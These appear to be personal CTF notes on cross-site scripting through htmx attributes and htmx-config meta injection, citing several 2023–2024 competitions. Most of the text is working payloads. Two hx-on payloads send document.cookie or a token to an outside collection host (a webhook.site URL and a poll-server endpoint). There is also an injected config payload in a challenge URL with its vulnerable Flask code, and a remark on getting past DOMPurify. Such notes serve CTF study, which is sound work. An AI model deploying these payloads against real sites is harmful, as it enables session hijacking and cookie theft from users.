![[Pasted image 20230620190834.png]]

https://htmx.org/attributes/hx-disable/#:~:text=The hx-disable attribute will,to prevent malicious scripting attacks gpn ctf 2023

<meta name="html-config" content='{"disableSelector":"[lol-no]"}'>

XSS in htmx

Awesomenotes I (flux ctf

    <div hx-get="/testing"  hx-on="htmx:beforeRequest: fetch('<https://webhook.site/c70fb7e3-bcf3-400d-abbf-f094982542c0?'+document.cookie>)"  hx-trigger="load delay:0.001s" hx-target="find div">      <div></div>    </div>

    <div hx-get="/lol"  hx-on="htmx:beforeRequest: alert(1)"  hx-trigger="load" hx-target="find div">      <div></div>    </div>

<h1 hx-get="/" hx-on::config-request="fetch(`{poll_server}/notify?token={token}&cookie=${{document.cookie}}`); event.preventDefault()" hx-trigger="htmx:after-process-node delay:0.001s" hx-target="this">test</h1>

XSS on htmx config if input inside meta

ctf/2024/linectf/web-auth-internal at master · theori-io/ctf (github.com)

<http://35.200.122.11:20000/login?timeout={%22indicatorClass%22:%22%3C/style%3E%3Cimg%20src=1%20onerror=alert(1)%3E%3Cstyle%3Ess%22}%27%20x=%27&return_url=invalidscheme://11%27%20content=%27hehehe%27%20http-equiv=%27asdf%27%20name=%27htmx-config>

    return_url = escape(request.args.get("return_url", "/login"))
    timeout = escape(request.args.get("timeout", "3"))
    session.pop("access_token", None)
    return render_template(
        "redirect.html",
        msg=f"<meta http-equiv='refresh' content='{timeout};url={return_url}'>redirect to page in {timeout} seconds...",
    )

equivalent to

<meta http-equiv="refresh" content="{&quot;indicatorClass&quot;:&quot;</style><img src=1 onerror=alert(1)><style>ss&quot;}" x=";url=invalidscheme://11" name="htmx-config">

HTMX Bypass Filter DOMPurify and Redirect

midnight-sub-ctf-2024/web/modern

If HTML is generated dynamically

<div hx-get="/{file}">

We can take the following approach if the URL redirects when using "/".